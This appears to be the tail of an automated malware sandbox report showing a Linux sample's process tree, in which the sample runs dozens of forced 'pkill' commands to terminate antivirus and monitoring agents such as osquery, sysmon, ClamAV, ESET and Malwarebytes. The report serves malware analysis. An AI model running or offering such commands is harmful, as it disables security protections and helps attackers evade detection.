                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[t]rendmicro"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1076
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[d]s_agent"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1078
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[e]dragent"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1080
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[o]squeryd"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                PID:1082
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[s]ysmon"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                PID:1084
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[c]lamd"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1086
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[k]lscan"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1089
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[k]avfs"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1091
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[e]krn"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1093
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[e]sets"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1095
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[b]dagent"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1097
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[w]rsa"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1099
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[m]bam"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1101
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[m]alwarebytes"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1103
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[3]60tray"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1105
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[3]60safe"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1107
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[h]ipstray"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • System Network Configuration Discovery
                                                                                                                                                                                                                                                                                                                                PID:1109
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[u]sysdiag"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1111
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[q]axengine"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1113
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[p]andad"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1115
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[p]sanhost"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1117
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[f]savgui"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1119
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[f]-secure"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1121
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[k]avtray"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:1123
                                                                                                                                                                                                                                                                                                                                • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                  pkill -9 -f "[v]ipre"
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                                                                                                                                                                                                  PID:1125
                                                                                                                                                                                                                                                                                                                                • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                  pkill -9 -f "[s]bamsvc"
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:1127
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                    pkill -9 -f "[g]data"
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:1129
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                      pkill -9 -f "[i]karus"
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:1131
                                                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                        pkill -9 -f "[d]rweb"
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:1133
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                          pkill -9 -f "[e]service"
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:1135

                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                Downloads